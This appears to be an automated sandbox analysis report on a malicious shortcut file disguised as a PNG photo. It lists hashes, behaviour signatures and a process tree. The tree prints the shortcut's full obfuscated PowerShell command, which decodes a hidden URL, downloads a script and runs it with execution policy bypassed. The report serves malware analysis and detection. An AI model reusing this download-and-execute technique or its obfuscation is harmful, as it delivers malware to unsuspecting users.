Analysis
- max time kernel
148s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
04/06/2026, 09:28
Static task
static1
Behavioral task
behavioral1
Sample
PHOTO-843636838.png.lnk
Resource
win10v2004-20260513-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
PHOTO-843636838.png.lnk
Resource
win11-20260513-en
6 signatures
150 seconds
General
- Target PHOTO-843636838.png.lnk
- Size 1KB
- Sample260604-lff6kacy7p
- SHA256 15687f244ebd8aa9e251f73bfed99182c0ae600bf37de71d294cc7550205dea7
- MD5 3d28a84429b1175ed88dc6cce8650a3c
- SHA1 d0fd605b18d8af766fb7beb94f3ef7397db4aa8a
- SHA512 e721668127233fb76927292c31939444eed0704baaaf5c44ee8dfe455d3f14001efdcf90ac90b953ad16568ba3b8ad422cb3e0ae22b631aa0c2dff977f911345
- TLSH T1AB41CE041BB20239FAF7DF39D8BE6212AA627906EE659F4E1194435C85B1110E877F3E
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4832 powershell.exe -
pid Process 4832 powershell.exe 4452 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4832 powershell.exe 4832 powershell.exe 4452 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4832 powershell.exe Token: SeDebugPrivilege 4452 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4396 wrote to memory of 4832 4396 cmd.exe 81 PID 4832 wrote to memory of 4452 4832 powershell.exe 82
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-843636838.png.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$uUQxvT=\"7123924420591776112114819120002132\" -as [bigint];$vgJJWq=\"4864461511502594098157481352101612\" -as [bigint];$ztVJvFQK=$uUQxvT - $vgJJWq;for($eTigWIq=100+156;$ztVJvFQK -ne 0;$ztVJvFQK=$ztVJvFQK / $eTigWIq){$Zs3Zsdt+=[char]([int]($ztVJvFQK % $eTigWIq));};iwr $Zs3Zsdt -OutFile $env:TEMP\ErFFk.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\ErFFk.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4832 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\ErFFk.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4452
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 1KB
- SHA256 5226da3506c85d2ed701bea411ebd415b99b848935a0ecd50ad7fb0fd913ba05
- MD5 0e04c74727fbfaf6d31eb28de212bb60
- SHA1 1829716a822437f478f6b0481084143a24944554
- SHA512 f8ad65f30fdcb4d96f360d780fb411474fa1d7aaa146cb9382a5dbce23751291ba597e74826cfaf44f85b6a7db2525ad06c1378f5486b61e94f7f4b14c8053da
- TLSH T10231003133B5A0D889263F471D3C59C423BF4356B694AE4C7694625EC92740BAF322F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c16c48fb9236d9200e8347853d25a01eb17859ac1f95a937180c3776d8dae517
- MD5 b509c1278f87b87308bbfdd241b04d10
- SHA1 c27f8d5319d8ceebe5a546ff5b477eafdc4280b6
- SHA512 93813dcf9a3200539b8fceed1592d433aa20154377bb80557634f327cb6458552f2afce85c914182dc62d4acdd9946a7e65ea59c3814cfcd8122191ede2e00b9
- TLSH T1B6218973B79CC1F5C8D5117A1088AD01B173C3C7049EDECB6A84C508D53F58ADB541A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zqbflggx.lq1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH